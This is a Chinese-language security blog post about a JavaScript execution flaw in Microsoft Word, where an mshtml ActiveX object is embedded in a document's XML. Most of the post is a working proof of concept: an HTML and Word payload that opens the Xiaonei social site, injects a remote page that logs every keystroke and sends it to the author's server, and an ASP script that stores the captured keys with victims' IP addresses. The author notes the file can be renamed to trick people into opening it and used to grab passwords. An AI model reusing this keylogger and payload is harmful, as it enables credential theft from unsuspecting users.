作者:餘弦
來源:0×37 Security
Microsoft word javascript execution原文:http://marc.info/?l=bugtraq&m=121121432823704&w=2,hi群內討論過。可以得出一些結論:
1、由於安裝Q313675 安全Hotfix後禁用ActiveX 內聯資料流功能,使得利用JS直接建立ActiveX對象而執行惡意codz的方法不可行。如下code:
<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:document.write(<script src=http://www.0x37.com/doc.js></script>)"></OBJECT>
這個遠端doc.js檔案能力有限。但是彈出對話方塊或一個新視窗還是可以的。
2、漏 洞其實出現在xml檔案上,類似於上面這樣構造後的html用word開啟後另存新檔xml時,裡面的資料都被相應轉換為xml格式。然而xml裡 的<w:ocx w:data=”……” />卻可以引發JS的執行。問題就出現在這。而無論尾碼是.doc或.rtf或.xml都將以word預設開啟,此時word充當一個解釋 器,<w:ocx w:data=”……” />內的資料被解釋執行而引發JS。
3、AE24FDAE-03C6-11D1-8B76-0080C744F389是mshtml.dll的classid。要找出漏洞起因與修補這個漏洞這些資訊還是有價值的。
既然這個JS能力有限,那就來點好玩的,如這裡提到過的:http://www.0×37.com/post/15.html。下面這個POC是這樣進行的:當使用者開啟我們惡意構造後的word文檔doc.doc後,會彈出校內網的首頁http://www.xiaonei.com(拿它做實驗,完全是出於我的慣性……)。接著我們就可以記錄使用者在這個頁面上的鍵盤記錄了:)。也許密碼就直接抓過來了(假如其他使用者和我一樣,開啟校內網就直接快速輸入密碼然後Enter,這個完全是習慣……)。
doc.html代碼如下:
<html>
<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389><param name=url value="javascript:x=open(http://www.xiaonei.com/);setInterval (function(){try{x.frames[0].location={toString:function(){return%20′http://www.0×37.com/Project/poc/docshell.html’;}}}catch(e){}},3000);void(1);”></OBJECT>
HI
按照http://marc.info/?l=bugtraq&m=121121432823704&w=2這裡的方法產生doc.doc文檔(這就是那個邪惡的文檔,改個好名字,方便騙人開啟)。
遠端docshell.html代碼如下:
<html>
<body bgcolor="#333333">
<div id="o"></div>
<input type=text id="x" style="width:0;height:0">
<script>
var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
document.onkeydown=function(e){
if(!e)e=window.event;
try{
tmp=(String.fromCharCode(e.which||e.keyCode));
_3or7("GET","asp?tmp=”+tmp,null">http://www.0×37.com/Project/poc/docshell.asp?tmp=”+tmp,null);
}catch(ex){}
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
_x.send(_a);
return _x.responseText;
}
setInterval(function(){try{document.getElementById(’x).focus();}catch(e){}},100);
focus();
</script>
</body>
</html>
而遠端docshell.asp代碼如下:
<%
ip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ip="" Then
ip=Request.ServerVariables("REMOTE_ADDR")
End If
tmp=Request.QueryString("tmp")
Response.write(tmp)
filename="docshell.txt"
Set fso=Server.CreateObject("Scripting.FileSystemObject")
set file=fso.OpenTextFile(server.mappath(filename),8,true)
file.write(ip+">> "+tmp+chr(13))
file.close
set file=nothing
set fso=nothing
%>
接著就可以在這http://www.0×37.com/Project/poc/docshell.txt看到我們鍵盤記錄的結果:)。完整檔案在這:http://www.0×37.com/Project/poc/wordjs.rar。不過這個鍵盤記錄還是有缺陷的,本想結合這裡http://www.0×37.com/post/15.html提到的方法來構造更邪惡的代碼,可是並不順利……那以後再說了:)。現在就等老胡大牛關於這個漏洞的進一步訊息。